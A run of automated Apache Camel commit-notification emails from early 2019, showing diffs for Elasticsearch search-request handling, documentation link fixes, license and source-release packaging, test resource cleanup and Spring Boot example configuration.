+http://www.osgi.org/xmlns/blueprint/v1.0.0;
+   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance;
+   
xmlns:cm="http://aries.apache.org/blueprint/xmlns/blueprint-cm/v1.1.0;
+   xsi:schemaLocation="
+ http://aries.apache.org/blueprint/xmlns/blueprint-cm/v1.1.0 
http://aries.apache.org/schemas/blueprint-cm/blueprint-cm-1.1.0.xsd
+ http://www.osgi.org/xmlns/blueprint/v1.0.0 
https://www.osgi.org/xmlns/blueprint/v1.0.0/blueprint.xsd;>
+
+
+
+
+
+
+  
+
+
+http://camel.apache.org/schema/blueprint;>
+
+  
+
+
+
+  
+
+
+
 
 Now if you want to unit test this blueprint XML file, then you can override
 the `loadConfigAdminConfigurationFile` and tell Camel which file to
 load as shown below:
 
-include::../../../components/camel-test-blueprint/src/test/java/org/apache/camel/test/blueprint/ConfigAdminLoadConfigurationFileTest.java[]
-
+[source,java]
+
+@Override
+protected String[] loadConfigAdminConfigurationFile() {
+// String[0] = tell Camel the path of the .cfg file to use for OSGi 
ConfigAdmin in the blueprint XML file
+// String[1] = tell Camel the persistence-id of the 
cm:property-placeholder in the blueprint XML file
+return new String[]{"src/test/resources/etc/stuff.cfg", "stuff"};
+}
+
 Notice that this method requires to return a `String[]` with 2 values. The
 1st value is the path for the configuration file to load. The second
 value is the persistence-id of the `` tag.
@@ -711,11 +777,92 @@ greeting=Bye
 You can do both as well. Here is a complete example. First we have the
 Blueprint XML file:
 
-include::../../../components/camel-test-blueprint/src/test/resources/org/apache/camel/test/blueprint/configadmin-loadfileoverride.xml[]
+[source,xml]
+
+http://www.osgi.org/xmlns/blueprint/v1.0.0;
+   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance;
+   
xmlns:cm="http://aries.apache.org/blueprint/xmlns/blueprint-cm/v1.1.0;
+   xsi:schemaLocation="
+ http://aries.apache.org/blueprint/xmlns/blueprint-cm/v1.1.0 
http://aries.apache.org/schemas/blueprint-cm/blueprint-cm-1.1.0.xsd
+ ht

[camel] branch camel-2.23.x updated (9f10c0b -> 3d331e8)

2019-03-21 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a change to branch camel-2.23.x
in repository https://gitbox.apache.org/repos/asf/camel.git.


from 9f10c0b  CAMEL-13340: Invalid swagger json/yaml generated for Rest DSL
 new 9ce70ff  CAMEL-13348 support to do the elasticsearch without 
specifying the indexName and indexType
 new 3d331e8  CAMEL-13352 Updated the document of HostAddresses option

The 34221 revisions listed above as "new" are entirely new to this
repository and will be described in separate emails.  The revisions
listed as "add" were already present in the repository and have only
been added to this reference.


Summary of changes:
 .../src/main/docs/elasticsearch-rest-component.adoc|  2 +-
 .../elasticsearch/ElasticsearchConfiguration.java  |  3 +--
 .../converter/ElasticsearchActionRequestConverter.java | 18 ++
 .../ElasticsearchGetSearchDeleteExistsUpdateTest.java  | 18 +-
 4 files changed, 29 insertions(+), 12 deletions(-)



[camel] branch camel-2.x updated (670488a -> 717c73f)

2019-03-21 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a change to branch camel-2.x
in repository https://gitbox.apache.org/repos/asf/camel.git.


from 670488a  CAMEL-13340: Invalid swagger json/yaml generated for Rest DSL
 new 317c886  CAMEL-13348 support to do the elasticsearch without 
specifying the indexName and indexType
 new ddec085  CAMEL-13352 Updated the document of HostAddresses option
 new 717c73f  CAMEL-13352 Update the elasticsearch-rest-component

The 34403 revisions listed above as "new" are entirely new to this
repository and will be described in separate emails.  The revisions
listed as "add" were already present in the repository and have only
been added to this reference.


Summary of changes:
 .../src/main/docs/elasticsearch-rest-component.adoc|  2 +-
 .../elasticsearch/ElasticsearchConfiguration.java  |  3 +--
 .../converter/ElasticsearchActionRequestConverter.java | 18 ++
 .../ElasticsearchGetSearchDeleteExistsUpdateTest.java  | 18 +-
 4 files changed, 29 insertions(+), 12 deletions(-)



[camel] branch master updated: CAMEL-13352 Updated the document of HostAddresses option

2019-03-20 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new b3290ed  CAMEL-13352 Updated the document of HostAddresses option
b3290ed is described below

commit b3290ed0638bc751edc27a99791dce60e26ec0eb
Author: Willem Jiang 
AuthorDate: Thu Mar 21 09:45:08 2019 +0800

CAMEL-13352 Updated the document of HostAddresses option
---
 .../camel/component/elasticsearch/ElasticsearchConfiguration.java  | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git 
a/components/camel-elasticsearch-rest/src/main/java/org/apache/camel/component/elasticsearch/ElasticsearchConfiguration.java
 
b/components/camel-elasticsearch-rest/src/main/java/org/apache/camel/component/elasticsearch/ElasticsearchConfiguration.java
index c8639cf..ffe47c9 100644
--- 
a/components/camel-elasticsearch-rest/src/main/java/org/apache/camel/component/elasticsearch/ElasticsearchConfiguration.java
+++ 
b/components/camel-elasticsearch-rest/src/main/java/org/apache/camel/component/elasticsearch/ElasticsearchConfiguration.java
@@ -108,7 +108,6 @@ public class ElasticsearchConfiguration {
 
 /**
  * Comma separated list with ip:port formatted remote transport addresses 
to use.
- * The ip and port options must be left blank for hostAddresses to be 
considered instead.
  */
 public String getHostAddresses() {
 return hostAddresses;
@@ -269,4 +268,4 @@ public class ElasticsearchConfiguration {
 public void setScrollKeepAliveMs(int scrollKeepAliveMs) {
 this.scrollKeepAliveMs = scrollKeepAliveMs;
 }
-}
\ No newline at end of file
+}



[camel] branch master updated: CAMEL-13348 support to do the elasticsearch without specifying the indexName and indexType

2019-03-20 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new 30203d6  CAMEL-13348 support to do the elasticsearch without 
specifying the indexName and indexType
30203d6 is described below

commit 30203d69cc67f92313845bd26a063247bb4d7ea4
Author: Willem Jiang 
AuthorDate: Wed Mar 20 19:47:39 2019 +0800

CAMEL-13348 support to do the elasticsearch without specifying the 
indexName and indexType
---
 .../converter/ElasticsearchActionRequestConverter.java | 18 ++
 .../ElasticsearchGetSearchDeleteExistsUpdateTest.java  | 18 +-
 2 files changed, 27 insertions(+), 9 deletions(-)

diff --git 
a/components/camel-elasticsearch-rest/src/main/java/org/apache/camel/component/elasticsearch/converter/ElasticsearchActionRequestConverter.java
 
b/components/camel-elasticsearch-rest/src/main/java/org/apache/camel/component/elasticsearch/converter/ElasticsearchActionRequestConverter.java
index fbb3c43..0262821 100644
--- 
a/components/camel-elasticsearch-rest/src/main/java/org/apache/camel/component/elasticsearch/converter/ElasticsearchActionRequestConverter.java
+++ 
b/components/camel-elasticsearch-rest/src/main/java/org/apache/camel/component/elasticsearch/converter/ElasticsearchActionRequestConverter.java
@@ -24,6 +24,7 @@ import com.fasterxml.jackson.databind.ObjectMapper;
 import org.apache.camel.Converter;
 import org.apache.camel.Exchange;
 import org.apache.camel.component.elasticsearch.ElasticsearchConstants;
+import org.apache.camel.util.ObjectHelper;
 import org.elasticsearch.action.bulk.BulkRequest;
 import org.elasticsearch.action.delete.DeleteRequest;
 import org.elasticsearch.action.get.GetRequest;
@@ -157,9 +158,17 @@ public final class ElasticsearchActionRequestConverter {
 if (queryObject instanceof SearchRequest) {
 return (SearchRequest) queryObject;
 }
-SearchRequest searchRequest = new SearchRequest(exchange.getIn()
-.getHeader(ElasticsearchConstants.PARAM_INDEX_NAME, String.class))
-
.types(exchange.getIn().getHeader(ElasticsearchConstants.PARAM_INDEX_TYPE, 
String.class));
+SearchRequest searchRequest = new SearchRequest();
+
+// Only setup the indexName and indexType if the message header has 
the setting
+String indexName = 
exchange.getIn().getHeader(ElasticsearchConstants.PARAM_INDEX_NAME, 
String.class);
+String indexType = 
exchange.getIn().getHeader(ElasticsearchConstants.PARAM_INDEX_TYPE, 
String.class);
+if (ObjectHelper.isNotEmpty(indexName)) {
+searchRequest.indices(indexName);
+}
+if (ObjectHelper.isNotEmpty(indexType)) {
+searchRequest.types(indexType);
+}
 
 SearchSourceBuilder searchSourceBuilder = new SearchSourceBuilder();
 String queryText = null;
@@ -174,7 +183,7 @@ public final class ElasticsearchActionRequestConverter {
 XContentBuilder contentBuilder = 
XContentFactory.contentBuilder(XContentType.JSON);
 queryText = Strings.toString(contentBuilder.map(mapQuery));
 } catch (IOException e) {
-LOG.error(e.getMessage());
+LOG.error("Cannot build the QueryText from the map.", e);
 }
 } else if (queryObject instanceof String) {
 queryText = (String) queryObject;
@@ -186,6 +195,7 @@ public final class ElasticsearchActionRequestConverter {
 }
 } else {
 // Cannot convert the queryObject into SearchRequest
+LOG.info("Cannot convert queryObject into SearchRequest object");
 return null;
 }
 
diff --git 
a/components/camel-elasticsearch-rest/src/test/java/org/apache/camel/component/elasticsearch/ElasticsearchGetSearchDeleteExistsUpdateTest.java
 
b/components/camel-elasticsearch-rest/src/test/java/org/apache/camel/component/elasticsearch/ElasticsearchGetSearchDeleteExistsUpdateTest.java
index 8b31644..15b0ce5 100644
--- 
a/components/camel-elasticsearch-rest/src/test/java/org/apache/camel/component/elasticsearch/ElasticsearchGetSearchDeleteExistsUpdateTest.java
+++ 
b/components/camel-elasticsearch-rest/src/test/java/org/apache/camel/component/elasticsearch/ElasticsearchGetSearchDeleteExistsUpdateTest.java
@@ -92,7 +92,7 @@ public class ElasticsearchGetSearchDeleteExistsUpdateTest 
extends ElasticsearchB
 match.put("match", actualQuery);
 Map query = new HashMap<>();
 query.put("query", match);
-SearchHits response = template.requestBody("direct:search", match, 
SearchHits.class);
+SearchHits response = template.requestBody("direct:search", query, 
SearchHits.class);
 assertNotNull("response should not be nu

[camel] branch master updated: Fixed the digitalocean link format issue.

2019-03-07 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new 9d64288  Fixed the digitalocean link format issue.
9d64288 is described below

commit 9d64288178b5ffe6e6f73da078421aaabee0d210
Author: Willem Jiang 
AuthorDate: Fri Mar 8 09:01:55 2019 +0800

Fixed the digitalocean link format issue.
---
 .../camel-digitalocean/src/main/docs/digitalocean-component.adoc| 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git 
a/components/camel-digitalocean/src/main/docs/digitalocean-component.adoc 
b/components/camel-digitalocean/src/main/docs/digitalocean-component.adoc
index e063a4a..a6e0f02 100644
--- a/components/camel-digitalocean/src/main/docs/digitalocean-component.adoc
+++ b/components/camel-digitalocean/src/main/docs/digitalocean-component.adoc
@@ -3,11 +3,11 @@
 
 *Available as of Camel version 2.19*
 
-The **DigitalOcean** component allows you to manage Droplets and resources 
within the DigitalOcean cloud with **Camel** by encapsulating 
[digitalocean-api-java](https://www.digitalocean.com/community/projects/api-client-in-java).
 All of the functionality that you are familiar with in the DigitalOcean 
control panel is also available through this Camel component.
+The **DigitalOcean** component allows you to manage Droplets and resources 
within the DigitalOcean cloud with **Camel** by encapsulating 
https://www.digitalocean.com/community/projects/api-client-in-java[digitalocean-api-java].
 All of the functionality that you are familiar with in the DigitalOcean 
control panel is also available through this Camel component.
 
 === Prerequisites
 
-You must have a valid DigitalOcean account and a valid OAuth token. You can 
generate an OAuth token by visiting the [Apps & 
API](https://cloud.digitalocean.com/settings/applications) section of the 
DigitalOcean control panel for your account.
+You must have a valid DigitalOcean account and a valid OAuth token. You can 
generate an OAuth token by visiting the [Apps & API] section of the 
DigitalOcean control panel for your account.
 
 === URI format
 
@@ -115,7 +115,7 @@ All message bodies returned are using objects provided by 
the **digitalocean-api
 
 === API Rate Limits
 
-DigitalOcean REST API encapsulated by camel-digitalocean component is 
subjected to API Rate Limiting. You can find the per method limits in the [API 
Rate Limits 
documentation](https://developers.digitalocean.com/documentation/v2/#rate-limit).
+DigitalOcean REST API encapsulated by camel-digitalocean component is 
subjected to API Rate Limiting. You can find the per method limits in the 
https://developers.digitalocean.com/documentation/v2/#rate-limit[API Rate 
Limits documentation].
 
 
 === Account endpoint



[camel-k-runtime] branch master updated: Using the maven-remote-resources-plugin to avoid creating LICENSE and NOTICE file by hand

2019-03-02 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel-k-runtime.git


The following commit(s) were added to refs/heads/master by this push:
 new e01360f  Using the maven-remote-resources-plugin to avoid creating 
LICENSE and NOTICE file by hand
e01360f is described below

commit e01360f882ff8573710bebf26d4c237ebc996b7e
Author: Willem Jiang 
AuthorDate: Sat Mar 2 21:21:00 2019 +0800

Using the maven-remote-resources-plugin to avoid creating LICENSE and 
NOTICE file by hand
---
 .../src/main/resources/META-INF/LICENSE.txt| 203 -
 .../src/main/resources/META-INF/NOTICE.txt |  11 --
 .../src/main/resources/META-INF/LICENSE.txt| 203 -
 .../src/main/resources/META-INF/NOTICE.txt |  11 --
 .../src/main/resources/META-INF/LICENSE.txt| 203 -
 .../src/main/resources/META-INF/NOTICE.txt |  11 --
 .../src/main/resources/META-INF/LICENSE.txt| 203 -
 .../src/main/resources/META-INF/NOTICE.txt |  11 --
 .../src/main/resources/META-INF/LICENSE.txt| 203 -
 .../src/main/resources/META-INF/NOTICE.txt |  11 --
 .../src/main/resources/META-INF/LICENSE.txt| 203 -
 .../src/main/resources/META-INF/NOTICE.txt |  11 --
 .../src/main/resources/META-INF/LICENSE.txt| 203 -
 .../src/main/resources/META-INF/NOTICE.txt |  11 --
 .../src/main/resources/META-INF/LICENSE.txt| 203 -
 .../src/main/resources/META-INF/NOTICE.txt |  11 --
 .../src/main/resources/META-INF/LICENSE.txt| 203 -
 .../src/main/resources/META-INF/NOTICE.txt |  11 --
 .../src/main/resources/META-INF/LICENSE.txt| 203 -
 .../src/main/resources/META-INF/NOTICE.txt |  11 --
 .../src/main/resources/META-INF/LICENSE.txt| 203 -
 .../src/main/resources/META-INF/NOTICE.txt |  11 --
 pom.xml|  23 ++-
 23 files changed, 20 insertions(+), 2357 deletions(-)

diff --git a/camel-k-maven-plugin/src/main/resources/META-INF/LICENSE.txt 
b/camel-k-maven-plugin/src/main/resources/META-INF/LICENSE.txt
deleted file mode 100644
index 6b0b127..000
--- a/camel-k-maven-plugin/src/main/resources/META-INF/LICENSE.txt
+++ /dev/null
@@ -1,203 +0,0 @@
-
- Apache License
-   Version 2.0, January 2004
-http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-  "License" shall mean the terms and conditions for use, reproduction,
-  and distribution as defined by Sections 1 through 9 of this document.
-
-  "Licensor" shall mean the copyright owner or entity authorized by
-  the copyright owner that is granting the License.
-
-  "Legal Entity" shall mean the union of the acting entity and all
-  other entities that control, are controlled by, or are under common
-  control with that entity. For the purposes of this definition,
-  "control" means (i) the power, direct or indirect, to cause the
-  direction or management of such entity, whether by contract or
-  otherwise, or (ii) ownership of fifty percent (50%) or more of the
-  outstanding shares, or (iii) beneficial ownership of such entity.
-
-  "You" (or "Your") shall mean an individual or Legal Entity
-  exercising permissions granted by this License.
-
-  "Source" form shall mean the preferred form for making modifications,
-  including but not limited to software source code, documentation
-  source, and configuration files.
-
-  "Object" form shall mean any form resulting from mechanical
-  transformation or translation of a Source form, including but
-  not limited to compiled object code, generated documentation,
-  and conversions to other media types.
-
-  "Work" shall mean the work of authorship, whether in Source or
-  Object form, made available under the License, as indicated by a
-  copyright notice that is included in or attached to the work
-  (an example is provided in the Appendix below).
-
-  "Derivative Works" shall mean any work, whether in Source or Object
-  form, that is based on (or derived from) the Work and for which the
-  editorial revisions, annotations, elaborations, or other modifications
-  represent, as a whole, an original work of authorship. For the purposes
-  of this License, Derivative Works shall not include works that remain
-  separable from, or merely link (or bind by name) to the inte

[camel-k-runtime] branch master updated: Add source release kit for camel-k-runtime #18

2019-02-26 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel-k-runtime.git


The following commit(s) were added to refs/heads/master by this push:
 new 07ecb9f  Add source release kit for camel-k-runtime #18
07ecb9f is described below

commit 07ecb9f6947e5fc1b3016dc829c502fffe99fde6
Author: Willem Jiang 
AuthorDate: Wed Feb 27 15:43:48 2019 +0800

Add source release kit for camel-k-runtime #18
---
 NOTICE |  4 +-
 distribution/pom.xml   | 59 
 .../src/main/assemblies/source-release.xml | 80 ++
 pom.xml|  1 +
 4 files changed, 142 insertions(+), 2 deletions(-)

diff --git a/NOTICE b/NOTICE
index f4f1281..11a8153 100644
--- a/NOTICE
+++ b/NOTICE
@@ -1,11 +1,11 @@
=
==  NOTICE file corresponding to the section 4 d of==
==  the Apache License, Version 2.0,   ==
-   ==  in this case for the Apache Camel distribution.==
+   ==  in this case for the Apache Camel K Runtime distribution.  ==
=
 
This product includes software developed by
The Apache Software Foundation (http://www.apache.org/).
 
Please read the different LICENSE files present in the licenses directory of
-   this distribution.
\ No newline at end of file
+   this distribution.
diff --git a/distribution/pom.xml b/distribution/pom.xml
new file mode 100644
index 000..ee81b97
--- /dev/null
+++ b/distribution/pom.xml
@@ -0,0 +1,59 @@
+
+
+http://maven.apache.org/POM/4.0.0;
+  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance;
+  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 
http://maven.apache.org/xsd/maven-4.0.0.xsd;>
+  
+camel-k-runtime-parent
+org.apache.camel.k
+0.3.1-SNAPSHOT
+  
+  4.0.0
+  pom
+  
+  apache-camel-k-runtime
+  
+
+  release
+  
+
+  
+maven-assembly-plugin
+
+  
+source-release
+package
+
+  single
+
+
+  
apache-camel-k-runtime-${project.version}
+  
+
src/main/assemblies/source-release.xml
+  
+
+  
+
+  
+
+  
+
+  
+
diff --git a/distribution/src/main/assemblies/source-release.xml 
b/distribution/src/main/assemblies/source-release.xml
new file mode 100644
index 000..e66bd20
--- /dev/null
+++ b/distribution/src/main/assemblies/source-release.xml
@@ -0,0 +1,80 @@
+
+
+
+  source-release
+  
+  apache-camel-k-runtime-${version}
+  
+zip
+  
+
+  
+  
+
+
+  ..
+  
+  
+**/*
+  
+  
+  
+Jenkinsfile
+.*
+
+
+.mvn/**
+mvnw
+mvnw.cmd
+
+
+
%regex[(?!((?!${project.build.directory}/)[^/]+/)*src/).*${project.build.directory}.*]
+
+
+
+
+
%regex[(?!((?!${project.build.directory}/)[^/]+/)*src/)(.*/)?maven-eclipse\.xml]
+
%regex[(?!((?!${project.build.directory}/)[^/]+/)*src/)(.*/)?\.project]
+
%regex[(?!((?!${project.build.directory}/)[^/]+/)*src/)(.*/)?\.classpath]
+
%regex[(?!((?!${project.build.directory}/)[^/]+/)*src/)(.*/)?[^/]*\.iws]
+
%regex[(?!((?!${project.build.directory}/)[^/]+/)*src/)(.*/)?\.idea(/.*)?]
+
%regex[(?!((?!${project.build.directory}/)[^/]+/)*src/)(.*/)?out(/.*)?]
+
%regex[(?!((?!${project.build.directory}/)[^/]+/)*src/)(.*/)?[^/]*\.ipr]
+
%regex[(?!((?!${project.build.directory}/)[^/]+/)*src/)(.*/)?[^/]*\.iml]
+
%regex[(?!((?!${project.build.directory}/)[^/]+/)*src/)(.*/)?\.settings(/.*)?]
+
%regex[(?!((?!${project.build.directory}/)[^/]+/)*src/)(.*/)?\.externalToolBuilders(/.*)?]
+
%regex[(?!((?!${project.build.directory}/)[^/]+/)*src/)(.*/)?\.deployables(/.*)?]
+
%regex[(?!((?!${project.build.directory}/)[^/]+/)*src/)(.*/)?\.wtpmodules(/.*)?]
+
+
+
%regex[(?!((?!${project.build.directory}/)[^/]+/)*src/)(.*/)?cobertura\.ser]
+
+
+
%regex[(?!((?!${project.build.directory}/)[^/]+/)*src/)(.*/)?pom\.xml\.releaseBackup]
+
%regex[(?!((?!${project.build.directory}/)[^/]+/)*src/)(.*/)?release\.properties]
+  
+
+  
+
diff --git a/pom.xml b/pom.xml
index 4d9eba8..8c8 100644
--- a/pom.xml
+++ b/pom.xml
@@ -135,6 +135,7 @@
 camel-knative-http
 camel-knative
 camel-k-runtime-bom
+distribution
 
 
 



[camel] branch master updated (8b16b96 -> 0328ceb)

2019-02-25 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a change to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git.


from 8b16b96  CAMEL-13249 Fixed the build of camel-http4
 new 34cc9aa  CAMEL-13240 Removed the camel-validator-test-resources jar
 new 0328ceb  CAMEL-13240 Removed the test jars from camel-spring components

The 35649 revisions listed above as "new" are entirely new to this
repository and will be described in separate emails.  The revisions
listed as "add" were already present in the repository and have only
been added to this reference.


Summary of changes:
 components/camel-spring/pom.xml|  16 ++
 .../camel-spring/src/test/java/a/b/c/Test.java |  24 +
 .../scan/DefaultPackageScanClassResolverTest.java  |   6 ++-
 .../src/test/resources/package+scan+test.jar   | Bin 1041 -> 0 bytes
 .../src/test/resources/package_scan_test.jar   | Bin 1041 -> 0 bytes
 .../1.0.0/camel-validator-test-resources-1.0.0.jar | Bin 17660 -> 0 bytes
 .../1.0.0/camel-validator-test-resources-1.0.0.pom |  25 --
 tests/camel-itest/pom.xml  |  14 +-
 .../camel-validator-test-resources/pom.xml |  55 +
 .../camel/component/validator/dotslash/child.xsd   |  33 +
 .../camel/component/validator/dotslash/parent.xsd  |  34 +
 .../component/validator/doubleslash/child.xsd  |  33 +
 .../component/validator/doubleslash/parent.xsd |  34 +
 .../validator/relativeparent/child/child.xsd   |  33 +
 .../component/validator/relativeparent/parent.xsd  |  34 +
 tests/test-bundles/pom.xml |   3 +-
 16 files changed, 305 insertions(+), 39 deletions(-)
 create mode 100644 components/camel-spring/src/test/java/a/b/c/Test.java
 delete mode 100644 
components/camel-spring/src/test/resources/package+scan+test.jar
 delete mode 100644 
components/camel-spring/src/test/resources/package_scan_test.jar
 delete mode 100644 
tests/camel-itest/lib/org/apache/camel/camel-validator-test-resources/1.0.0/camel-validator-test-resources-1.0.0.jar
 delete mode 100644 
tests/camel-itest/lib/org/apache/camel/camel-validator-test-resources/1.0.0/camel-validator-test-resources-1.0.0.pom
 create mode 100644 tests/test-bundles/camel-validator-test-resources/pom.xml
 create mode 100644 
tests/test-bundles/camel-validator-test-resources/src/main/resources/org/apache/camel/component/validator/dotslash/child.xsd
 create mode 100644 
tests/test-bundles/camel-validator-test-resources/src/main/resources/org/apache/camel/component/validator/dotslash/parent.xsd
 create mode 100644 
tests/test-bundles/camel-validator-test-resources/src/main/resources/org/apache/camel/component/validator/doubleslash/child.xsd
 create mode 100644 
tests/test-bundles/camel-validator-test-resources/src/main/resources/org/apache/camel/component/validator/doubleslash/parent.xsd
 create mode 100644 
tests/test-bundles/camel-validator-test-resources/src/main/resources/org/apache/camel/component/validator/relativeparent/child/child.xsd
 create mode 100644 
tests/test-bundles/camel-validator-test-resources/src/main/resources/org/apache/camel/component/validator/relativeparent/parent.xsd



[camel] branch master updated: CAMEL-13249 Fixed the build of camel-http4

2019-02-25 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new 8b16b96  CAMEL-13249 Fixed the build of camel-http4
8b16b96 is described below

commit 8b16b960670d9abc2a1b755f502db6afcf03ac52
Author: Willem Jiang 
AuthorDate: Tue Feb 26 12:13:43 2019 +0800

CAMEL-13249 Fixed the build of camel-http4
---
 .../java/org/apache/camel/component/http4/HeaderFilteringTest.java| 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git 
a/components/camel-http4/src/test/java/org/apache/camel/component/http4/HeaderFilteringTest.java
 
b/components/camel-http4/src/test/java/org/apache/camel/component/http4/HeaderFilteringTest.java
index 3815a25..8772952 100644
--- 
a/components/camel-http4/src/test/java/org/apache/camel/component/http4/HeaderFilteringTest.java
+++ 
b/components/camel-http4/src/test/java/org/apache/camel/component/http4/HeaderFilteringTest.java
@@ -32,8 +32,8 @@ import com.sun.net.httpserver.HttpServer;
 import org.apache.camel.Producer;
 import org.apache.camel.http.common.HttpOperationFailedException;
 import org.apache.camel.impl.DefaultCamelContext;
-import org.apache.camel.impl.DefaultExchange;
-import org.apache.camel.impl.DefaultMessage;
+import org.apache.camel.support.DefaultExchange;
+import org.apache.camel.support.DefaultMessage;
 import org.apache.camel.spi.RestConfiguration;
 import org.junit.After;
 import org.junit.Before;



[camel] branch camel-2.x updated: CAMEL-13154 Fixed the running error of camel-example-spring-boot-master

2019-02-03 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch camel-2.x
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/camel-2.x by this push:
 new 7e5c281  CAMEL-13154 Fixed the running error of 
camel-example-spring-boot-master
7e5c281 is described below

commit 7e5c28132ddbf0c5b540aafe1fcabadb2f7d1541
Author: Willem Jiang 
AuthorDate: Sun Feb 3 09:37:56 2019 +0800

CAMEL-13154 Fixed the running error of camel-example-spring-boot-master
---
 examples/camel-example-spring-boot-master/pom.xml  | 14 --
 .../src/main/resources/application.properties  |  1 +
 2 files changed, 1 insertion(+), 14 deletions(-)

diff --git a/examples/camel-example-spring-boot-master/pom.xml 
b/examples/camel-example-spring-boot-master/pom.xml
index be32e35..0471705 100644
--- a/examples/camel-example-spring-boot-master/pom.xml
+++ b/examples/camel-example-spring-boot-master/pom.xml
@@ -65,20 +65,6 @@
   
 
   org.springframework.boot
-  spring-boot-starter-web
-  
-
-  org.springframework.boot
-  spring-boot-starter-tomcat
-
-  
-
-
-  org.springframework.boot
-  spring-boot-starter-undertow
-
-
-  org.springframework.boot
   spring-boot-starter-actuator
 
 
diff --git 
a/examples/camel-example-spring-boot-master/src/main/resources/application.properties
 
b/examples/camel-example-spring-boot-master/src/main/resources/application.properties
index 26ee85d..92f43e3 100644
--- 
a/examples/camel-example-spring-boot-master/src/main/resources/application.properties
+++ 
b/examples/camel-example-spring-boot-master/src/main/resources/application.properties
@@ -35,6 +35,7 @@ node.id = ${random.uuid}
 node.namespace = camel-master
 
 camel.springboot.name = SampleClusteredRouteController
+camel.springboot.main-run-controller = true
 camel.springboot.jmx-enabled = false
 
 camel.component.file.cluster.service.enabled = true



[camel] branch camel-2.23.x updated: CAMEL-13154 Fixed the running error of camel-example-spring-boot-master

2019-02-02 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch camel-2.23.x
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/camel-2.23.x by this push:
 new 1f75e01  CAMEL-13154 Fixed the running error of 
camel-example-spring-boot-master
1f75e01 is described below

commit 1f75e01a93518f3c8c5800afaaddd75a4a0b10d6
Author: Willem Jiang 
AuthorDate: Sun Feb 3 09:37:56 2019 +0800

CAMEL-13154 Fixed the running error of camel-example-spring-boot-master
---
 examples/camel-example-spring-boot-master/pom.xml  | 14 --
 .../src/main/resources/application.properties  |  1 +
 2 files changed, 1 insertion(+), 14 deletions(-)

diff --git a/examples/camel-example-spring-boot-master/pom.xml 
b/examples/camel-example-spring-boot-master/pom.xml
index ce592d8..13f1d86 100644
--- a/examples/camel-example-spring-boot-master/pom.xml
+++ b/examples/camel-example-spring-boot-master/pom.xml
@@ -64,20 +64,6 @@
   
 
   org.springframework.boot
-  spring-boot-starter-web
-  
-
-  org.springframework.boot
-  spring-boot-starter-tomcat
-
-  
-
-
-  org.springframework.boot
-  spring-boot-starter-undertow
-
-
-  org.springframework.boot
   spring-boot-starter-actuator
 
 
diff --git 
a/examples/camel-example-spring-boot-master/src/main/resources/application.properties
 
b/examples/camel-example-spring-boot-master/src/main/resources/application.properties
index 26ee85d..92f43e3 100644
--- 
a/examples/camel-example-spring-boot-master/src/main/resources/application.properties
+++ 
b/examples/camel-example-spring-boot-master/src/main/resources/application.properties
@@ -35,6 +35,7 @@ node.id = ${random.uuid}
 node.namespace = camel-master
 
 camel.springboot.name = SampleClusteredRouteController
+camel.springboot.main-run-controller = true
 camel.springboot.jmx-enabled = false
 
 camel.component.file.cluster.service.enabled = true



[camel] branch master updated: CAMEL-13154 Fixed the running error of camel-example-spring-boot-master

2019-02-02 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new 158cb22  CAMEL-13154 Fixed the running error of 
camel-example-spring-boot-master
158cb22 is described below

commit 158cb2242fe1021a0812b5a8977e8a71f72f8842
Author: Willem Jiang 
AuthorDate: Sun Feb 3 09:37:56 2019 +0800

CAMEL-13154 Fixed the running error of camel-example-spring-boot-master
---
 examples/camel-example-spring-boot-master/pom.xml  | 14 --
 .../src/main/resources/application.properties  |  1 +
 2 files changed, 1 insertion(+), 14 deletions(-)

diff --git a/examples/camel-example-spring-boot-master/pom.xml 
b/examples/camel-example-spring-boot-master/pom.xml
index ab94019..18011a8 100644
--- a/examples/camel-example-spring-boot-master/pom.xml
+++ b/examples/camel-example-spring-boot-master/pom.xml
@@ -65,20 +65,6 @@
   
 
   org.springframework.boot
-  spring-boot-starter-web
-  
-
-  org.springframework.boot
-  spring-boot-starter-tomcat
-
-  
-
-
-  org.springframework.boot
-  spring-boot-starter-undertow
-
-
-  org.springframework.boot
   spring-boot-starter-actuator
 
 
diff --git 
a/examples/camel-example-spring-boot-master/src/main/resources/application.properties
 
b/examples/camel-example-spring-boot-master/src/main/resources/application.properties
index 26ee85d..92f43e3 100644
--- 
